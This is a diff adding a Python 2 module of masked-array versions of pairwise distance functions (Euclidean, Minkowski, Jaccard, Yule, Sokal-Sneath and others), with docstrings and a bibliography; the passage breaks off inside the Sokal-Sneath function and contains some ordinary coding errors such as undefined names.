+.. [Joh66] Johnson, SC. "Hierarchical clustering schemes." Psychometrika.
+   32(2): pp. 241--54. 1966.
+
+.. [Sne62] Sneath, PH and Sokal, RR. "Numerical taxonomy." Nature. 193: pp.
+   855--60. 1962.
+
+.. [Bat95] Batagelj, V. "Comparing resemblance measures." Journal of
+   Classification. 12: pp. 73--90. 1995.
+
+.. [Sok58] Sokal, RR and Michener, CD. "A statistical method for evaluating
+   systematic relationships." Scientific Bulletins. 38(22):
+   pp. 1409--38. 1958.
+
+.. [Ede79] Edelbrock, C. "Mixture model tests of hierarchical clustering
+   algorithms: the problem of classifying everybody." Multivariate
+   Behavioral Research. 14: pp. 367--84. 1979.
+
+.. [Jai88] Jain, A., and Dubes, R., "Algorithms for Clustering Data."
+   Prentice-Hall. Englewood Cliffs, NJ. 1988.
+
+.. [Fis36] Fisher, RA "The use of multiple measurements in taxonomic
+   problems." Annals of Eugenics, 7(2): 179-188. 1936
+
+
+Copyright Notice
+----------------
+
+Copyright (C) Damian Eads, 2007-2008, Jason Merkin 2011. New BSD License.
+
+"""
+
+import warnings
+import numpy as np
+import numpy.ma as ma
+
+import _distance_wrap
+
+def _nbool_correspond_all(u, v):
+    if u.dtype != v.dtype:
+        raise TypeError("Arrays being compared must be of the same data type.")
+
+    if u.dtype == np.int or u.dtype == np.float_ or u.dtype == np.double:
+        not_u = 1.0 - u
+        not_v = 1.0 - v
+        nff = (not_u * not_v).sum()
+        nft = (not_u * v).sum()
+        ntf = (u * not_v).sum()
+        ntt = (u * v).sum()
+    elif u.dtype == np.bool:
+        not_u = ~u
+        not_v = ~v
+        nff = (not_u & not_v).sum()
+        nft = (not_u & v).sum()
+        ntf = (u & not_v).sum()
+        ntt = (u & v).sum()
+    else:
+        raise TypeError("Arrays being compared have unknown type.")
+
+    return (nff, nft, ntf, ntt)
+
+def _nbool_correspond_ft_tf(u, v):
+    if u.dtype == np.int or u.dtype == np.float_ or u.dtype == np.double:
+        not_u = 1.0 - u
+        not_v = 1.0 - v
+        nft = (not_u * v).sum()
+        ntf = (u * not_v).sum()
+    else:
+        not_u = ~u
+        not_v = ~v
+        nft = (not_u & v).sum()
+        ntf = (u & not_v).sum()
+    return (nft, ntf)
+
+def _mcopy_array_if_base_present(a):
+    """
+    Copies the array if its base points to a parent array.
+    """
+    if a.base is not None:
+        return a.copy()
+    elif np.issubsctype(a, np.float32):
+        return ma.array(a, dtype=np.double)
+    else:
+        return a
+
+def _mcopy_arrays_if_base_present(T):
+    """
+    Accepts a tuple of arrays T. Copies the array T[i] if its base array
+    points to an actual array. Otherwise, the reference is just copied.
+    This is useful if the arrays are being passed to a C function that
+    does not do proper striding.
+    """
+    l = [_mcopy_array_if_base_present(a) for a in T]
+    return l
+
+def _mseuclidean(X, V, m, dm):
+    """
+    Does masked seuclidean for a full array
+    """
+    if V is not None:
+        V = ma.asarray(V, order='c')
+        if type(V) != ma.array:
+            raise TypeError('Variance vector V must be a numpy array')
+        if V.dtype != np.double:
+            raise TypeError('Variance vector V must contain doubles.')
+        if len(V.shape) != 1:
+            raise ValueError('Variance vector V must be one-dimensional.')
+        if V.shape[0] != n:
+            raise ValueError('Variance vector V must be of the same '
+                    'dimension as the vectors on which the distances '
+                    'are computed.')
+        # The C code doesn't do striding.
+        [VV] = _mcopy_arrays_if_base_present([_convert_to_double(V)])
+    else:
+        VV = ma.var(X, axis=0, ddof=1)
+
+    k = 0
+    for i in xrange(0, m-1):
+        for j in xrange(i+1,m):
+            d = mseuclidean(X[i],X[j],VV)
+            dm[k] = d
+            k += 1
+	return dm
+
+def mpdist(X, metric='euclidean', p=2, w=None, V=None, VI=None):
+    r"""
+    Adapted pdist to masked arrays
+
+    Computes the pairwise distances between m original observations in
+    n-dimensional space. Returns a condensed distance matrix Y.  For
+    each :math:`i` and :math:`j` (where :math:`i<j<n`), the
+    metric ``dist(u=X[i], v=X[j])`` is computed and stored in the
+    :math:`ij`th entry.
+
+    See ``squareform`` for information on how to calculate the index of
+    this entry or to convert the condensed distance matrix to a
+    redundant square matrix.
+
+    The following are common calling conventions.
+
+    1. ``Y = mpdist(X, 'euclidean')``
+
+       Computes the distance between m points using Euclidean distance
+       (2-norm) as the distance metric between the points. The points
+       are arranged as m n-dimensional row vectors in the matrix X.
+
+    2. ``Y = mpdist(X, 'minkowski', p)``
+
+       Computes the distances using the Minkowski distance
+       :math:`||u-v||_p` (p-norm) where :math:`p \geq 1`.
+
+    3. ``Y = mpdist(X, 'cityblock')``
+
+       Computes the city block or Manhattan distance between the
+       points.
+
+    4. ``Y = mpdist(X, 'seuclidean', V=None)``
+
+       Computes the standardized Euclidean distance. The standardized
+       Euclidean distance between two n-vectors ``u`` and ``v`` is
+
+       .. math::
+
+          \sqrt{\sum {(u_i-v_i)^2 / V[x_i]}}.
+
+       V is the variance vector; V[i] is the variance computed over all
+          the i'th components of the points. If not passed, it is
+          automatically computed.
+
+    5. ``Y = mpdist(X, 'sqeuclidean')``
+
+       Computes the squared Euclidean distance :math:`||u-v||_2^2` between
+       the vectors.
+
+    6. ``Y = mpdist(X, 'cosine')``
+
+       Computes the cosine distance between vectors u and v,
+
+       .. math::
+
+          \frac{1 - uv^T}
+               {{|u|}_2 {|v|}_2}
+
+       where |*|_2 is the 2 norm of its argument *.
+
+    7. ``Y = mpdist(X, 'correlation')``
+
+       Computes the correlation distance between vectors u and v. This is
+
+       .. math::
+
+          \frac{1 - (u - \bar{u})(v - \bar{v})^T}
+               {{|(u - \bar{u})|}{|(v - \bar{v})|}^T}
+
+       where :math:`\bar{v}` is the mean of the elements of vector v.
+
+    8. ``Y = mpdist(X, 'hamming')``
+
+       Computes the normalized Hamming distance, or the proportion of
+       those vector elements between two n-vectors ``u`` and ``v``
+       which disagree. To save memory, the matrix ``X`` can be of type
+       boolean.
+
+    9. ``Y = mpdist(X, 'jaccard')``
+
+       Computes the Jaccard distance between the points. Given two
+       vectors, ``u`` and ``v``, the Jaccard distance is the
+       proportion of those elements ``u[i]`` and ``v[i]`` that
+       disagree where at least one of them is non-zero.
+
+    10. ``Y = mpdist(X, 'chebyshev')``
+
+       Computes the Chebyshev distance between the points. The
+       Chebyshev distance between two n-vectors ``u`` and ``v`` is the
+       maximum norm-1 distance between their respective elements. More
+       precisely, the distance is given by
+
+       .. math::
+
+          d(u,v) = \max_i {|u_i-v_i|}.
+
+    11. ``Y = mpdist(X, 'canberra')``
+
+       Computes the Canberra distance between the points. The
+       Canberra distance between two points ``u`` and ``v`` is
+
+       .. math::
+
+         d(u,v) = \sum_u \frac{|u_i-v_i|}
+                              {(|u_i|+|v_i|)}
+
+
+    12. ``Y = mpdist(X, 'braycurtis')``
+
+       Computes the Bray-Curtis distance between the points. The
+       Bray-Curtis distance between two points ``u`` and ``v`` is
+
+
+       .. math::
+
+            d(u,v) = \frac{\sum_i {u_i-v_i}}
+                          {\sum_i {u_i+v_i}}
+
+    13. ``Y = mpdist(X, 'mahalanobis', VI=None)``
+
+       Computes the Mahalanobis distance between the points. The
+       Mahalanobis distance between two points ``u`` and ``v`` is
+       :math:`(u-v)(1/V)(u-v)^T` where :math:`(1/V)` (the ``VI``
+       variable) is the inverse covariance. If ``VI`` is not None,
+       ``VI`` will be used as the inverse covariance matrix.
+
+    14. ``Y = mpdist(X, 'yule')``
+
+       Computes the Yule distance between each pair of boolean
+       vectors. (see yule function documentation)
+
+    15. ``Y = mpdist(X, 'matching')``
+
+       Computes the matching distance between each pair of boolean
+       vectors. (see matching function documentation)
+
+    16. ``Y = mpdist(X, 'dice')``
+
+       Computes the Dice distance between each pair of boolean
+       vectors. (see dice function documentation)
+
+    17. ``Y = mpdist(X, 'kulsinski')``
+
+       Computes the Kulsinski distance between each pair of
+       boolean vectors. (see kulsinski function documentation)
+
+    18. ``Y = mpdist(X, 'rogerstanimoto')``
+
+       Computes the Rogers-Tanimoto distance between each pair of
+       boolean vectors. (see rogerstanimoto function documentation)
+
+    19. ``Y = mpdist(X, 'russellrao')``
+
+       Computes the Russell-Rao distance between each pair of
+       boolean vectors. (see russellrao function documentation)
+
+    20. ``Y = mpdist(X, 'sokalmichener')``
+
+       Computes the Sokal-Michener distance between each pair of
+       boolean vectors. (see sokalmichener function documentation)
+
+    21. ``Y = mpdist(X, 'sokalsneath')``
+
+       Computes the Sokal-Sneath distance between each pair of
+       boolean vectors. (see sokalsneath function documentation)
+
+    22. ``Y = mpdist(X, 'wminkowski')``
+
+       Computes the weighted Minkowski distance between each pair of
+       vectors. (see wminkowski function documentation)
+
+    22. ``Y = mpdist(X, f)``
+
+       Computes the distance between all pairs of vectors in X
+       using the user supplied 2-arity function f. For example,
+       Euclidean distance between the vectors could be computed
+       as follows::
+
+         dm = mpdist(X, (lambda u, v: np.sqrt(((u-v)*(u-v).T).sum())))
+
+       Note that you should avoid passing a reference to one of
+       the distance functions defined in this library. For example,::
+
+         dm = mpdist(X, sokalsneath)
+
+       would calculate the pair-wise distances between the vectors in
+       X using the Python function sokalsneath. This would result in
+       sokalsneath being called :math:`{n \choose 2}` times, which
+       is inefficient. Instead, the optimized C version is more
+       efficient, and we call it using the following syntax.::
+
+         dm = mpdist(X, 'sokalsneath')
+
+    Parameters
+    ----------
+    X : ma.array
+        An m by n masked array of m original observations in an
+        n-dimensional space.
+    metric : string or function
+        The distance metric to use. The distance function can
+        be 'braycurtis', 'canberra', 'chebyshev', 'cityblock',
+        'correlation', 'cosine', 'dice', 'euclidean', 'hamming',
+        'jaccard', 'kulsinski', 'mahalanobis', 'matching',
+        'minkowski', 'rogerstanimoto', 'russellrao', 'seuclidean',
+        'sokalmichener', 'sokalsneath', 'sqeuclidean', 'yule'.
+    w : ma.array
+        The weight vector (for weighted Minkowski).
+    p : double
+        The p-norm to apply (for Minkowski, weighted and unweighted)
+    V : ma.array
+            The variance vector (for standardized Euclidean).
+    VI : ma.array
+        The inverse of the covariance matrix (for Mahalanobis).
+
+    Returns
+    -------
+    Y : ma.array
+        A condensed masked distance matrix.
+
+    See Also
+    --------
+    squareform : converts between condensed distance matrices and
+                 square distance matrices.
+    """
+
+    X = ma.asarray(X, order='c')
+
+    # The C code doesn't do striding.
+    [X] = _mcopy_arrays_if_base_present([_convert_to_double(X)])
+
+    s = X.shape
+    if len(s) != 2:
+        raise ValueError('A 2-dimensional array must be passed.');
+
+    m, n = s
+    dm = ma.zeros((m * (m - 1) / 2,), dtype=np.double)
+
+    wmink_names = ['wminkowski', 'wmi', 'wm', 'wpnorm']
+    if w is None and (metric == wminkowski or metric in wmink_names):
+        raise ValueError('weighted minkowski requires a weight '
+                            'vector `w` to be given.')
+
+    if callable(metric):
+        if metric == mminkowski:
+            def dfun(u,v): return mminkowski(u, v, p)
+        elif metric == mwminkowski:
+            def dfun(u,v): return mwminkowski(u, v, p, w)
+        elif metric == mseuclidean:
+            def dfun(u,v): return mseuclidean(u, v, V)
+        elif metric == mahalanobis:
+            def dfun(u,v): return mmahalanobis(u, v, V)
+        else:
+            dfun = metric
+
+        k = 0
+        for i in xrange(0, m - 1):
+            for j in xrange(i+1, m):
+                dm[k] = dfun(X[i], X[j])
+                k = k + 1
+
+    elif isinstance(metric,basestring):
+        mstr = metric.lower()
+        if metric == 'euclidean':
+            dm = mpdist(X, meuclidean)
+        elif mstr in set(['seuclidean', 'se', 's']):
+            dm = _mseuclidean(X, V, m, dm)
+        elif metric == 'sqeuclidean':
+            dm = mpdist(X, meuclidean)
+            dm = dm ** 2.0
+        elif metric == 'braycurtis':
+            dm = mpdist(X, mbraycurtis)
+        elif metric == 'mahalanobis':
+            if VI is None:
+                V = ma.cov(X.T)
+                VI = np.linalg.inv(V)
+            else:
+                VI = ma.asarray(VI, order='c')
+            [VI] = _mcopy_arrays_if_base_present([VI])
+            # (u-v)V^(-1)(u-v)^T
+            dm = mpdist(X, (lambda u, v: mmahalanobis(u, v, VI)))
+        elif metric == 'canberra':
+            dm = mpdist(X, mcanberra)
+        elif metric == 'cityblock':
+            dm = mpdist(X, mcityblock)
+        elif metric == 'minkowski':
+            dm = mpdist(X, mminkowski, p=p)
+        elif metric == 'wminkowski':
+            dm = mpdist(X, mwminkowski, p=p, w=w)
+        elif metric == 'cosine':
+            dm = mpdist(X, mcosine)
+        elif metric == 'correlation':
+            dm = mpdist(X, mcorrelation)
+        elif metric == 'hamming':
+            dm = mpdist(X, mhamming)
+        elif metric == 'jaccard':
+            dm = mpdist(X, mjaccard)
+        elif metric == 'chebyshev' or metric == 'chebychev':
+            dm = mpdist(X, mchebyshev)
+        elif metric == 'yule':
+            dm = mpdist(X, myule)
+        elif metric == 'matching':
+            dm = mpdist(X, mmatching)
+        elif metric == 'dice':
+            dm = mpdist(X, mdice)
+        elif metric == 'kulsinski':
+            dm = mpdist(X, mkulsinski)
+        elif metric == 'rogerstanimoto':
+            dm = mpdist(X, mrogerstanimoto)
+        elif metric == 'russellrao':
+            dm = mpdist(X, mrussellrao)
+        elif metric == 'sokalsneath':
+            dm = mpdist(X, msokalsneath)
+        elif metric == 'sokalmichener':
+            dm = mpdist(X, msokalmichener)
+        else:
+            raise ValueError('Unknown Distance Metric: %s' % mstr)
+
+    return dm
+
+def mminkowski(u, v, p):
+    r"""
+    Computes the Minkowski distance between two vectors ``u`` and ``v``,
+    defined as
+
+    .. math::
+
+       {||u-v||}_p = (\sum{|u_i - v_i|^p})^{1/p}.
+
+    Parameters
+    ----------
+    u : ndarray
+        An n-dimensional vector.
+    v : ndarray
+        An n-dimensional vector.
+    p : ndarray
+        The norm of the difference :math:`{||u-v||}_p`.
+
+    Returns
+    -------
+    d : double
+        The Minkowski distance between vectors ``u`` and ``v``.
+    """
+    u = ma.asarray(u, order='c')
+    v = ma.asarray(v, order='c')
+    if p < 1:
+        raise ValueError("p must be at least 1")
+    return (abs(u-v)**p).sum() ** (1.0 / p)
+
+def mwminkowski(u, v, p, w):
+    r"""
+    Computes the weighted Minkowski distance between two vectors ``u``
+    and ``v``, defined as
+
+    .. math::
+
+       \left(\sum{(w_i |u_i - v_i|^p)}\right)^{1/p}.
+
+    Parameters
+    ----------
+    u : ndarray
+        An :math:`n`-dimensional vector.
+    v : ndarray
+        An :math:`n`-dimensional vector.
+    p : ndarray
+        The norm of the difference :math:`{||u-v||}_p`.
+    w : ndarray
+        The weight vector.
+
+    Returns
+    -------
+    d : double
+        The Minkowski distance between vectors ``u`` and ``v``.
+    """
+    u = ma.asarray(u, order='c')
+    v = ma.asarray(v, order='c')
+    w = ma.asarray(w)
+    if p < 1:
+        raise ValueError("p must be at least 1")
+    return ((w * abs(u-v))**p).sum() ** (1.0 / p)
+
+def meuclidean(u, v):
+    """
+    Computes the Euclidean distance between two n-vectors ``u`` and ``v``,
+    which is defined as
+
+    .. math::
+
+       {||u-v||}_2
+
+    Parameters
+    ----------
+    u : ndarray
+        An :math:`n`-dimensional vector.
+    v : ndarray
+        An :math:`n`-dimensional vector.
+
+    Returns
+    -------
+    d : double
+        The Euclidean distance between vectors ``u`` and ``v``.
+    """
+    u = ma.asarray(u, order='c')
+    v = ma.asarray(v, order='c')
+    q=np.matrix(u-v)
+    return np.sqrt((q*q.T).sum())
+
+def msqeuclidean(u, v):
+    """
+    Computes the squared Euclidean distance between two n-vectors u and v,
+    which is defined as
+
+    .. math::
+
+       {||u-v||}_2^2.
+
+
+    Parameters
+    ----------
+    u : ndarray
+        An :math:`n`-dimensional vector.
+    v : ndarray
+        An :math:`n`-dimensional vector.
+
+    Returns
+    -------
+    d : double
+        The squared Euclidean distance between vectors ``u`` and ``v``.
+    """
+    u = ma.asarray(u, order='c')
+    v = ma.asarray(v, order='c')
+    return ((u-v)*(u-v).T).sum()
+
+def mcosine(u, v):
+    r"""
+    Computes the Cosine distance between two n-vectors u and v, which
+    is defined as
+
+    .. math::
+
+       \frac{1-uv^T}
+            {||u||_2 ||v||_2}.
+
+    Parameters
+    ----------
+    u : ndarray
+        An :math:`n`-dimensional vector.
+    v : ndarray
+        An :math:`n`-dimensional vector.
+
+    Returns
+    -------
+    d : double
+        The Cosine distance between vectors ``u`` and ``v``.
+    """
+    u = ma.asarray(u, order='c')
+    v = ma.asarray(v, order='c')
+    return (1.0 - (ma.dot(u, v.T) / \
+                   (ma.sqrt(ma.dot(u, u.T)) * ma.sqrt(ma.dot(v, v.T)))))
+
+def mcorrelation(u, v):
+    r"""
+    Computes the correlation distance between two n-vectors ``u`` and
+    ``v``, which is defined as
+
+    .. math::
+
+       \frac{1 - (u - \bar{u}){(v - \bar{v})}^T}
+            {{||(u - \bar{u})||}_2 {||(v - \bar{v})||}_2^T}
+
+    where :math:`\bar{u}` is the mean of a vectors elements and ``n``
+    is the common dimensionality of ``u`` and ``v``.
+
+    Parameters
+    ----------
+    u : ndarray
+        An :math:`n`-dimensional vector.
+    v : ndarray
+        An :math:`n`-dimensional vector.
+
+    Returns
+    -------
+    d : double
+        The correlation distance between vectors ``u`` and ``v``.
+    """
+    umu = u.mean()
+    vmu = v.mean()
+    um = u - umu
+    vm = v - vmu
+    return 1.0 - (ma.dot(um, vm) /
+                  (ma.sqrt(ma.dot(um, um)) \
+                   * ma.sqrt(ma.dot(vm, vm))))
+
+def mhamming(u, v):
+    r"""
+    Computes the Hamming distance between two n-vectors ``u`` and
+    ``v``, which is simply the proportion of disagreeing components in
+    ``u`` and ``v``. If ``u`` and ``v`` are boolean vectors, the Hamming
+    distance is
+
+    .. math::
+
+       \frac{c_{01} + c_{10}}{n}
+
+    where :math:`c_{ij}` is the number of occurrences of
+    :math:`\mathtt{u[k]} = i` and :math:`\mathtt{v[k]} = j` for
+    :math:`k < n`.
+
+    Parameters
+    ----------
+    u : ndarray
+        An :math:`n`-dimensional vector.
+    v : ndarray
+        An :math:`n`-dimensional vector.
+
+    Returns
+    -------
+    d : double
+        The Hamming distance between vectors ``u`` and ``v``.
+    """
+    u = ma.asarray(u, order='c')
+    v = ma.asarray(v, order='c')
+    return (u != v).mean()
+
+def mjaccard(u, v):
+    """
+    Computes the Jaccard-Needham dissimilarity between two boolean
+    n-vectors u and v, which is
+
+    .. math::
+
+         \frac{c_{TF} + c_{FT}}
+              {c_{TT} + c_{FT} + c_{TF}}
+
+    where :math:`c_{ij}` is the number of occurrences of
+    :math:`\mathtt{u[k]} = i` and :math:`\mathtt{v[k]} = j` for
+    :math:`k < n`.
+
+    Parameters
+    ----------
+    u : ndarray
+        An :math:`n`-dimensional vector.
+    v : ndarray
+        An :math:`n`-dimensional vector.
+
+    Returns
+    -------
+    d : double
+        The Jaccard distance between vectors ``u`` and ``v``.
+    """
+    u = ma.asarray(u, order='c')
+    v = ma.asarray(v, order='c')
+    return (np.double(np.bitwise_and((u != v),
+                     np.bitwise_or(u != 0, v != 0)).sum())
+            /  np.double(np.bitwise_or(u != 0, v != 0).sum()))
+
+def mkulsinski(u, v):
+    """
+    Computes the Kulsinski dissimilarity between two boolean n-vectors
+    u and v, which is defined as
+
+    .. math::
+
+         \frac{c_{TF} + c_{FT} - c_{TT} + n}
+              {c_{FT} + c_{TF} + n}
+
+    where :math:`c_{ij}` is the number of occurrences of
+    :math:`\mathtt{u[k]} = i` and :math:`\mathtt{v[k]} = j` for
+    :math:`k < n`.
+
+    Parameters
+    ----------
+    u : ndarray
+        An :math:`n`-dimensional vector.
+    v : ndarray
+        An :math:`n`-dimensional vector.
+
+    Returns
+    -------
+    d : double
+        The Kulsinski distance between vectors ``u`` and ``v``.
+    """
+    u = ma.asarray(u, order='c')
+    v = ma.asarray(v, order='c')
+    n = len(u)
+    (nff, nft, ntf, ntt) = _nbool_correspond_all(u, v)
+
+    return (ntf + nft - ntt + n) / (ntf + nft + n)
+
+def mseuclidean(u, v, V):
+    """
+    Returns the standardized Euclidean distance between two n-vectors
+    ``u`` and ``v``. ``V`` is an m-dimensional vector of component
+    variances. It is usually computed among a larger collection
+    vectors.
+
+    Parameters
+    ----------
+    u : ndarray
+        An :math:`n`-dimensional vector.
+    v : ndarray
+        An :math:`n`-dimensional vector.
+
+    Returns
+    -------
+    d : double
+        The standardized Euclidean distance between vectors ``u`` and ``v``.
+    """
+    u = ma.asarray(u, order='c')
+    v = ma.asarray(v, order='c')
+    V = ma.asarray(V, order='c')
+    if len(V.shape) != 1 or V.shape[0] != u.shape[0] or u.shape[0] != v.shape[0]:
+        raise TypeError('V must be a 1-D array of the same dimension as u and v.')
+    return ma.sqrt(((u-v)**2 / V).sum())
+
+def mcityblock(u, v):
+    r"""
+    Computes the Manhattan distance between two n-vectors u and v,
+    which is defined as
+
+    .. math::
+
+       \sum_i {(u_i-v_i)}.
+
+    Parameters
+    ----------
+    u : ndarray
+        An :math:`n`-dimensional vector.
+    v : ndarray
+        An :math:`n`-dimensional vector.
+
+    Returns
+    -------
+    d : double
+        The City Block distance between vectors ``u`` and ``v``.
+    """
+    u = ma.asarray(u, order='c')
+    v = ma.asarray(v, order='c')
+    return abs(u-v).sum()
+
+def mmahalanobis(u, v, VI):
+    r"""
+    Computes the Mahalanobis distance between two n-vectors ``u`` and ``v``,
+    which is defiend as
+
+    .. math::
+
+       (u-v)V^{-1}(u-v)^T
+
+    where ``VI`` is the inverse covariance matrix :math:`V^{-1}`.
+
+    Parameters
+    ----------
+    u : ndarray
+        An :math:`n`-dimensional vector.
+    v : ndarray
+        An :math:`n`-dimensional vector.
+
+    Returns
+    -------
+    d : double
+        The Mahalanobis distance between vectors ``u`` and ``v``.
+    """
+    u = ma.asarray(u, order='c')
+    v = ma.asarray(v, order='c')
+    VI = ma.asarray(VI, order='c')
+    return ma.sqrt(ma.dot(ma.dot((u-v),VI),(u-v).T).sum())
+
+def mchebyshev(u, v):
+    r"""
+    Computes the Chebyshev distance between two n-vectors u and v,
+    which is defined as
+
+    .. math::
+
+       \max_i {|u_i-v_i|}.
+
+    Parameters
+    ----------
+    u : ndarray
+        An :math:`n`-dimensional vector.
+    v : ndarray
+        An :math:`n`-dimensional vector.
+
+    Returns
+    -------
+    d : double
+        The Chebyshev distance between vectors ``u`` and ``v``.
+    """
+    u = ma.asarray(u, order='c')
+    v = ma.asarray(v, order='c')
+    return max(abs(u-v))
+
+def mbraycurtis(u, v):
+    r"""
+    Computes the Bray-Curtis distance between two n-vectors ``u`` and
+    ``v``, which is defined as
+
+    .. math::
+
+       \sum{|u_i-v_i|} / \sum{|u_i+v_i|}.
+
+    Parameters
+    ----------
+    u : ndarray
+        An :math:`n`-dimensional vector.
+    v : ndarray
+        An :math:`n`-dimensional vector.
+
+    Returns
+    -------
+    d : double
+        The Bray-Curtis distance between vectors ``u`` and ``v``.
+    """
+    u = ma.asarray(u, order='c')
+    v = ma.asarray(v, order='c')
+    return abs(u-v).sum() / abs(u+v).sum()
+
+def mcanberra(u, v):
+    r"""
+    Computes the Canberra distance between two n-vectors u and v,
+    which is defined as
+
+    .. math::
+
+       \frac{\sum_i {|u_i-v_i|}}
+            {\sum_i {|u_i|+|v_i|}}.
+
+
+    Parameters
+    ----------
+    u : ndarray
+        An :math:`n`-dimensional vector.
+    v : ndarray
+        An :math:`n`-dimensional vector.
+
+    Returns
+    -------
+    d : double
+        The Canberra distance between vectors ``u`` and ``v``.
+    """
+    u = ma.asarray(u, order='c')
+    v = ma.asarray(v, order='c')
+    return abs(u-v).sum() / (abs(u).sum() + abs(v).sum())
+
+def myule(u, v):
+    r"""
+    Computes the Yule dissimilarity between two boolean n-vectors u and v,
+    which is defined as
+
+
+    .. math::
+
+         \frac{R}{c_{TT} + c_{FF} + \frac{R}{2}}
+
+    where :math:`c_{ij}` is the number of occurrences of
+    :math:`\mathtt{u[k]} = i` and :math:`\mathtt{v[k]} = j` for
+    :math:`k < n` and :math:`R = 2.0 * (c_{TF} + c_{FT})`.
+
+    Parameters
+    ----------
+    u : ndarray
+        An :math:`n`-dimensional vector.
+    v : ndarray
+        An :math:`n`-dimensional vector.
+
+    Returns
+    -------
+    d : double
+        The Yule dissimilarity between vectors ``u`` and ``v``.
+    """
+    u = ma.asarray(u, order='c')
+    v = ma.asarray(v, order='c')
+    (nff, nft, ntf, ntt) = _nbool_correspond_all(u, v)
+    return float(2.0 * ntf * nft) / float(ntt * nff + ntf * nft)
+
+def mmatching(u, v):
+    r"""
+    Computes the Matching dissimilarity between two boolean n-vectors
+    u and v, which is defined as
+
+    .. math::
+
+       \frac{c_{TF} + c_{FT}}{n}
+
+    where :math:`c_{ij}` is the number of occurrences of
+    :math:`\mathtt{u[k]} = i` and :math:`\mathtt{v[k]} = j` for
+    :math:`k < n`.
+
+    Parameters
+    ----------
+    u : ndarray
+        An :math:`n`-dimensional vector.
+    v : ndarray
+        An :math:`n`-dimensional vector.
+
+    Returns
+    -------
+    d : double
+        The Matching dissimilarity between vectors ``u`` and ``v``.
+    """
+    u = ma.asarray(u, order='c')
+    v = ma.asarray(v, order='c')
+    (nft, ntf) = _nbool_correspond_ft_tf(u, v)
+    # len needed combined masks
+    return float(nft + ntf) / float(len(u + v))
+
+def mdice(u, v):
+    r"""
+    Computes the Dice dissimilarity between two boolean n-vectors
+    ``u`` and ``v``, which is
+
+    .. math::
+
+         \frac{c_{TF} + c_{FT}}
+              {2c_{TT} + c_{FT} + c_{TF}}
+
+    where :math:`c_{ij}` is the number of occurrences of
+    :math:`\mathtt{u[k]} = i` and :math:`\mathtt{v[k]} = j` for
+    :math:`k < n`.
+
+    Parameters
+    ----------
+    u : ndarray
+        An :math:`n`-dimensional vector.
+    v : ndarray
+        An :math:`n`-dimensional vector.
+
+    Returns
+    -------
+    d : double
+        The Dice dissimilarity between vectors ``u`` and ``v``.
+    """
+    u = ma.asarray(u, order='c')
+    v = ma.asarray(v, order='c')
+    if u.dtype == np.bool:
+        ntt = (u & v).sum()
+    else:
+        ntt = (u * v).sum()
+    (nft, ntf) = _nbool_correspond_ft_tf(u, v)
+    return float(ntf + nft) / float(2.0 * ntt + ntf + nft)
+
+def mrogerstanimoto(u, v):
+    r"""
+    Computes the Rogers-Tanimoto dissimilarity between two boolean
+    n-vectors ``u`` and ``v``, which is defined as
+
+    .. math::
+       \frac{R}
+            {c_{TT} + c_{FF} + R}
+
+    where :math:`c_{ij}` is the number of occurrences of
+    :math:`\mathtt{u[k]} = i` and :math:`\mathtt{v[k]} = j` for
+    :math:`k < n` and :math:`R = 2(c_{TF} + c_{FT})`.
+
+    Parameters
+    ----------
+    u : ndarray
+        An :math:`n`-dimensional vector.
+    v : ndarray
+        An :math:`n`-dimensional vector.
+
+    Returns
+    -------
+    d : double
+        The Rogers-Tanimoto dissimilarity between vectors
+        `u` and `v`.
+    """
+    u = ma.asarray(u, order='c')
+    v = ma.asarray(v, order='c')
+    (nff, nft, ntf, ntt) = _nbool_correspond_all(u, v)
+    return float(2.0 * (ntf + nft)) / float(ntt + nff + (2.0 * (ntf + nft)))
+
+def mrussellrao(u, v):
+    r"""
+    Computes the Russell-Rao dissimilarity between two boolean n-vectors
+    ``u`` and ``v``, which is defined as
+
+    .. math::
+
+      \frac{n - c_{TT}}
+           {n}
+
+    where :math:`c_{ij}` is the number of occurrences of
+    :math:`\mathtt{u[k]} = i` and :math:`\mathtt{v[k]} = j` for
+    :math:`k < n`.
+
+    Parameters
+    ----------
+    u : ndarray
+        An :math:`n`-dimensional vector.
+    v : ndarray
+        An :math:`n`-dimensional vector.
+
+    Returns
+    -------
+    d : double
+        The Russell-Rao dissimilarity between vectors ``u`` and ``v``.
+    """
+    u = ma.asarray(u, order='c')
+    v = ma.asarray(v, order='c')
+    if u.dtype == np.bool:
+        ntt = (u & v).sum()
+    else:
+        ntt = (u * v).sum()
+    return float(len(u) - ntt) / float(len(u))
+
+def msokalmichener(u, v):
+    r"""
+    Computes the Sokal-Michener dissimilarity between two boolean vectors
+    ``u`` and ``v``, which is defined as
+
+    .. math::
+
+       \frac{R}
+            {S + R}
+
+    where :math:`c_{ij}` is the number of occurrences of
+    :math:`\mathtt{u[k]} = i` and :math:`\mathtt{v[k]} = j` for
+    :math:`k < n`, :math:`R = 2 * (c_{TF} + c_{FT})` and
+    :math:`S = c_{FF} + c_{TT}`.
+
+    Parameters
+    ----------
+    u : ndarray
+        An :math:`n`-dimensional vector.
+    v : ndarray
+        An :math:`n`-dimensional vector.
+
+    Returns
+    -------
+    d : double
+        The Sokal-Michener dissimilarity between vectors ``u`` and ``v``.
+    """
+    u = ma.asarray(u, order='c')
+    v = ma.asarray(v, order='c')
+    if u.dtype == np.bool:
+        ntt = (u & v).sum()
+        nff = (~u & ~v).sum()
+    else:
+        ntt = (u * v).sum()
+        nff = ((1.0 - u) * (1.0 - v)).sum()
+    (nft, ntf) = _nbool_correspond_ft_tf(u, v)
+    return float(2.0 * (ntf + nft))/float(ntt + nff + 2.0 * (ntf + nft))
+
+def msokalsneath(u, v):
+    r"""
+    Computes the Sokal-Sneath dissimilarity between two boolean vectors
+    ``u`` and ``v``,
+
+    .. math::
+
+       \frac{R}
+            {c_{TT} + R}
+
+    where :math:`c_{ij}` is the number of occurrences of
+    :math:`\mathtt{u[k]} = i` and :math:`\mathtt{v[k]} = j` for
+    :math:`k < n` and :math:`R = 2(c_{TF} + c_{FT})`.
+
+    Parameters
+    ----------
+    u : ndarray
+        An :math:`n`-dimensional vector.
+    v : ndarray
+        An :math:`n`-dimensional vector.
+
+    Returns
+    -------
+    d : double
+        The Sokal-Sneath dissimilarity between vectors ``u`` and ``v``.
+    """
+    u = ma.asarray(u, order='c')
+    v = ma.asarray(v, order='c')
+    if u.dtype == np.bool:
+        ntt = (u & v).sum()
+    else:
+        ntt = (u * v).sum()
+    (nft, ntf) = _nbool_correspond_ft_tf(u, v)
+    denom = ntt + 2.0 * (ntf + nft)
+    if denom == 0:
+        raise ValueError('Sokal-Sneath dissimilarity is not defined for '
+                            'vectors that are entirely false.')
